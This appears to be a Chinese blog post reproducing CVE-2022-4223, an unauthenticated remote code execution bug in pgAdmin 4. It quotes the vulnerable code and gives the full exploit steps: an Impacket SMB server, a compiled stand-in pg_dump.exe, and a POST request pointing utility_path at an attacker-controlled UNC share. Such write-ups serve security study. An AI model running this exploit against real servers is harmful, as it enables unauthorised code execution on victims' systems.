pgadmin4 远程代码执行漏洞复现(CVE-2022-4223)

影响版本

< 6.17

漏洞分析

就是os.path.abspath(os.path.join(...))可以访问远程UNC路径的文件,subprocess.getoutput() 函数触发执行文件。

漏洞代码


@blueprint.route("/validate_binary_path",
                 endpoint="validate_binary_path",
                 methods=["POST"]) # [1]
def validate_binary_path():
    """
    This function is used to validate the specified utilities path by
    running the utilities with there versions.
    """
    data = None
    if hasattr(request.data, 'decode'):
        data = request.data.decode('utf-8')

    if data != '':
        data = json.loads(data)

    version_str = ''
    if 'utility_path' in data and data['utility_path'] is not None: # [2]
        # Check if "$DIR" present in binary path
        binary_path = replace_binary_path(data['utility_path']) # [3]

        for utility in UTILITIES_ARRAY: # [4]
            full_path = os.path.abspath(
                os.path.join(binary_path,
                             (utility if os.name != 'nt' else
                              (utility + '.exe')))) # [5]

            try:
                # Get the output of the '--version' command
                version_string = \
                    subprocess.getoutput('"{0}" --version'.format(full_path)) # [6]
                # Get the version number by splitting the result string
                version_string.split(") ", 1)[1].split('.', 1)[0]
                ...

HTTP 路由处理程序被定义为/validate_binary_path触发代码的相应 URI 部分。该URI触发的代码要求是POST请求。request.data被读取[2] 处。不用管[3] 中的功能,自己可以检查“为什么”。但是在处,一个常量 UTILITIES_ARRAY限制了我们稍后流入subprocess调用的最终输入。从constants.py可知UTILITIES_ARRAY = ['pg_dump', 'pg_dumpall', 'pg_restore', 'psql']。此时我们仍然控制binary_path变量,可以控制路径,但不能控制最终接收器中执行的文件名。此外,可以已经观察到该flask_login模块提供了一个@login_required注释(检查网络应用程序的其他路由)以检查经过身份验证的上下文。这里缺少这一点,没有进行身份验证,所以能够未经身份验证来进行RCE。

漏洞复现

使用Impacket 套件在我们的 Linux 攻击者机器上设置一个 SMB 服务器来尝试一下。

./smbserver.py myshare $HOME/tmp

在我的tmp目录中,创建了一个以从列表UTILITIES_ARRAY = ['pg_dump', 'pg_dumpall', 'pg_restore', 'psql']中随机选择的元素命名的文件,例如pg_dump[.exe]

如下是创建一个c文件然后编译成pg_dump.exe

void main() {
 system("cmd.exe /K mspaint");
}

然后从浏览到 或 获取 Cookie CSRF令牌 X-pgA-CSRFToken等头

最后请求包如下图

POST /misc/validate_binary_path HTTP/1.1
Host: [TARGETHOST]
Cookie: [COOKIES_YOU_FETCHED_IN_ADVANCE]
X-pgA-CSRFToken: [CSRF_TOKEN_YOU_FETCHED_IN_ADVANCE]
Connection: close
Referer: https://[TARGETHOST]/browser/
Content-Length: [n]
Content-Type: application/json

{"utility_path":"\\\\[ATTACKER_IP]\\[PREFERED_SHARE_NAME]"}

触发有效载荷后,我们在攻击者机器上看到一个传入的 SMB 连接,检索文件pg_dump.exe:Pre-Auth RCE 已实现。

posted @ 2022-12-13 18:47  komomon  阅读(1265)  评论(0编辑  收藏  举报